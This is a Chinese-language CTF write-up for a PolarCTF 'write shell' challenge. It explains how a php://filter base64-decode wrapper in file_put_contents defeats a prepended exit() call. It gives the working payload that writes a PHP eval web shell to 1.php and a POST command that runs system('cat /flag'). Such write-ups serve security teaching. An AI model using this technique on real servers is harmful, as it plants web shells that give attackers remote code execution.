每日一题 —— [PolarCTF]写shell¶
打开题目就是很简单的一行代码,他会把你输入的 content
并上前面的 <?php exit();
一起写入到你指定的文件内。
观察到题目使用了 file_put_contents
函数,这个函数是支持 php 伪协议的,所以我们可以尝试使用 php://filter
来对我们输入的内容进行转换。预期结果就是,我们输入的内容可以把前面的 exit
函数给弄得失效,并且我们写入的 php 代码可以生效。
首先尝试这个 payload:
注意 content
和 ?
之间的空格,这是因为 UCS-2LE
和 UCS-2BE
之间是两两组队互相交换的。所以为了保证转换成功进行,我们使用空格让前面的数据维持一个偶数个。
最后发现没有效果,在 /1.txt
中,所有数据被原原本本地写入了进去,也就是说前面的 exit()
被照常执行了。具体原因不清楚,没有办法,我们只能换一个方法。
现在我们测试一下 base64 的方法。我们先把需要的东西进行 base64 编码写入进去测试一下:
打开 /1.txt
可以看到数据被成功以 base64 的方式写入了进去。但是我们需要往里写入原始数据,所以我们预先要准备好一串 base64 编码好的 payload. 那么前面的函数怎么办呢。这里涉及一个 base64 的知识:base64 在转换的过程中是 3:4 的比例转换的,也就是说,对于一串原始文本,每三个字符一组被转换为一串 base64 ,其长度为 4. 因此在把 base64 解码的过程中,会四个字符一组转换。另外 base64 只支持 [A-Z]
[a-z
/
+
=
这些字符,其余的字符都是会被当作垃圾字符直接舍弃掉。
因此观察前面的代码 <?php exit();
,如果我们将其认为是一段 base64 编码的话,他会被省略无关字符,变为 phpexit
,一共七个字符。那么如果我们转换为原始文本,为了不影响后面的 payload 的转换,按照 4:3 的转换标准,我们需要补上一个合法字符凑齐 4 的倍数,然后再跟上已经编码好的 payload, 如下:
熟悉这一段的都知道,PD9w
开头的就是 php 代码了。前面的 a 就会帮忙补足所需要的字节数。因此最终 payload :
?filename=php://filter/convert.base64-decode/resource=1.php
POST
content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
注意和之前的 payload 不同的是,我把输出的文件名改成了 1.php
,这样才可以成功解析我们要的 php 代码。另外 base64
后面跟着的是 decode
,因为这一次是我们预先输入了一串 base64,服务器帮我们解析成了原始文本。
最后,通过访问 /1.php
,无论是蚁剑连接,还是直接手搓 POST: 1=system('cat /flag');
都没问题了。
文章热度:0次阅读